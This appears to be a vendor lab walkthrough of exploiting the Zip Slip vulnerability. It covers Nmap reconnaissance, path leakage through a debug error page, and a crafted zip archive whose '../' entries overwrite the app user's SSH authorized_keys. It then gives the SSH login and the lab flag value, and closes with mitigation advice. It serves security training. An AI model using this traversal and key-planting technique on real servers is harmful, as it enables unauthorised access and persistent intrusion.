The Zip Slip Vulnerability: Zip Files Slipping under Your Nose!
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Introduction
Zip Slip is a widespread arbitrary file overwrite critical vulnerability, which typically results in remote command execution. It was discovered and responsibly disclosed by the Snyk Security team ahead of public disclosure on 5th June 2018. It affected thousands of projects, including ones from HP, Amazon, Apache, Pivotal, and many more.
Reference: https://snyk.io/research/zip-slip-vulnerability
Interestingly, it is not a vulnerability per se but a mishandling of the zip archives. If the zip archives containing relative file paths are extracted, it results in a file overwrite vulnerability. The attackers can exploit this to overwrite arbitrary files and gain access to the server. Some of the juicier targets include system files like /etc/passwd, /etc/shadow, /etc/sudoers, cron jobs, SSH keys, and more.
Like all famous vulnerabilities, Zip Slip also has a logo:
Since many packages, frameworks and languages have functions to deal with zip files; several implementations were included in this vulnerability disclosure process. Due to this, multiple CVEs correspond to this vulnerability.
In this lab, we will learn how to exploit the Zip Slip vulnerability in a realistic environment and leverage it to gain shell access to the compromised server.
Lab Environment
In this lab environment, the user is going to get access to a Kali GUI instance. An image converter web app is running on the target server. It can be accessed using the tools installed on Kali at http://demo.ine.local.
Objective: Exploit the Zip Slip vulnerability in the bulk conversion feature to gain SSH access on the server and retrieve the flag!
Tools
The best tools for this lab are:
Nmap
ssh client
ssh-keygen
Zip
A web browser
Solution
Step 1: Open the lab link to access the Kali GUI instance.
Step 2: Check if the provided machine/domain is reachable.
Command:
ping -c3 demo.ine.local
The provided machine is reachable.
Step 3: Check open ports on the provided machine.
Command:
nmap -sS -sV demo.ine.local
Ports 22 (SSH), 80 (HTTP), and 8080 (Werkzeug httpd) are open on the target machine.
Notice the fingerprint returned for the service running on port 80. The service returns html response, as you can notice from the highlighted parts in the above output.
Step 4: Explore the provided web app and API.
Open the following URL in the browser:
You would be redirected to /login. An image converter web app is provided on this URL.
Open the following (API) URL in the browser:
URL: http://demo.ine.local:8080
An error page is returned due to a missing template in the backend. The API must be running in debug mode, and thus, we are able to see this error page.
Click on the highlighted message (TemplateNotFound error). That should take you to the following section:
Notice the application path (on the server) is revealed from the error message: /home/app/pythonAPI/API.py
Make a note of this path. It will come in handy later on.
Step 5: Create an account on the image converter web app.
Open the following URL:
Click on the Sign Up button. That would take you to the signup page:
Create a new account with the following details:
E-mail: test@test.com
Password: test
A success alert is shown once a new user is registered:
Dismiss the alert. That should take you to the /converter page:
We can use this application to process images to generate image arts and convert images to different formats (individually and in bulk).
Step 6: Take a screenshot to be used with the web application.
Right click on the page and select Take Screenshot option:
Click on Save full page:
Click on the Download button:
The screenshot is downloaded:
Step 7: Generate an image art.
Upload the screenshot generated in the previous step:
Check the available options and select the Generate Image Art option:
Note: There is one more interesting option in the above list — converting images in bulk. Keep it noted; we will return to it shortly.
Enter Hello World! as the image art text and click on the Submit button:
An image has been successfully generated:
Click on the returned image link:
The generated image is shown in a new tab. Notice the bottom of the image: it contains the supplied image art message (Hello World!).
Step 8: Explore the bulk conversion feature.
Select Convert to another format (in bulk) option:
Select jpg as the destination format:
Click on the Submit button:
Note:
Before submitting the image for bulk conversion, open the network window to inspect the response of the backend API.
Alternatively, you can use Burp Suite to inspect the outgoing requests and the corresponding responses.
Notice the response states that a zip archive is expected!
In this case, the backend would take a zip archive and convert the images to another format that we select (jpg, png, bmp, etc.).
Step 9: Create a malicious zip file containing relative file paths.
If the backend doesn’t deal with the zip files securely, this could open room for exploitation.
We already know the path where the API files are present (inside the /home/app/pythonAPI directory).
This suggests that the API might be running as the app user, probably created to manage all the application-related things.
If you remember, we discovered the SSH service on the target server. Since we can upload arbitrary zip files and get the server to extract those (probably unsafely), it presents an opportunity for an attacker to create/overwrite SSH keys for the app user and gain access to the target server.
The idea would be to provide a zip file that contains relative file paths instead of absolute, and we can leverage the improper handling of the zip files to overwrite the SSH keys for the user named app.
Let’s see if this plan works.
Create a pair of ssh keys in the home/app/.ssh directory:
Commands:
mkdir -p home/app/.ssh
ssh-keygen -t rsa -b 4096
ls /root/home/app/.ssh
Note: Provide /root/home/app/.ssh/id_rsa as the path to save the private ssh key.
Copy the public key to authorized_keys file:
Commands:
cd /root/home/app/.ssh
cp id_rsa.pub authorized_keys
Create some more nested directories and navigate to them. Then create a zip archive with relative file paths (using a number of ../ sequences):
Commands:
mkdir -p a/b/c/d
cd a/b/c/d
zip -r images.zip ../../../../../../../home/app/.ssh/id_rsa ../../../../../../../home/app/.ssh/authorized_keys
Note: In the above image, we have used a number of ../ sequences. When this zip file is extracted on the backend (without considering the possibility of files with relative paths), the extracted files would be saved to the following paths:
../../../../../../../home/app/.ssh/id_rsa
../../../../../../../home/app/.ssh/authorized_keys
Provided we have enough ../ sequences to traverse up to the file system root, we can successfully overwrite/create the SSH keys for the app user.
Check the list of files in the resulting zip archive:
Command:
unzip -t images.zip
Notice the files in the zip archive indeed have relative paths.
Copy this crafted zip archive to the /root directory:
Commands:
cp images.zip /root/
ls /root/
Now we can easily select this file for uploading it instead of going into the created directory hierarchy (that is, /root/home/.ssh/a/b/c/d/) to locate it.
Step 10: Bulk convert the files in the crafted zip archive.
Upload the zip archive (/root/images.zip):
Select the Convert to another format (in bulk) option:
Select jpg as the destination format:
Click on the Submit button:
The files have been converted:
Click on the returned link. It would download a zip archive:
Open it with the default application:
This results in an error while extracting the zip archive.
Since the provided files had relative paths, they would be extracted in a directory different from where the API expected these files to be. Therefore, the API would not have any file to be packed into the zip archive, and thus, an empty zip archive is sent back to the user.
Step 11: Login to the target machine over SSH.
Now that we have (probably) placed the SSH files for the app user, we can try to log in over SSH.
Switch to the directory containing the generated SSH private key and login to the app user’s account:
Commands:
cd ../../../../
ls
ssh -i id_rsa app@demo.ine.local
Login requires a password. Probably the SSH files (private key and authorized key) were not placed correctly.
Step 12: Upload the zip archive again.
Probably the zip archive was not extracted previously. Try uploading the same zip archive again:
Try to SSH into the target machine:
Command:
ssh -i id_rsa app@demo.ine.local
This time we were successfully able to SSH into the target machine.
Step 13: Retrieve the flag.
Command:
ls
cat FLAG
FLAG: a1828b611769a4306a8398189c50de74
Conclusion
With that, we conclude this lab writeup on Zip Slip. The important part to be noted is the widespread use of Zip archives as well as the ease of exploitation of this vulnerability, giving an advantage to the adversary.
The only patch for this vulnerability is to handle Zip archives with caution, provided that they are coming from an untrusted source. Make sure to unzip the files using code that deals with files safely, doesn’t appends the relative paths (that is, “../” sequences), and also doesn’t extracts symlinks from the malicious archive.
References
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!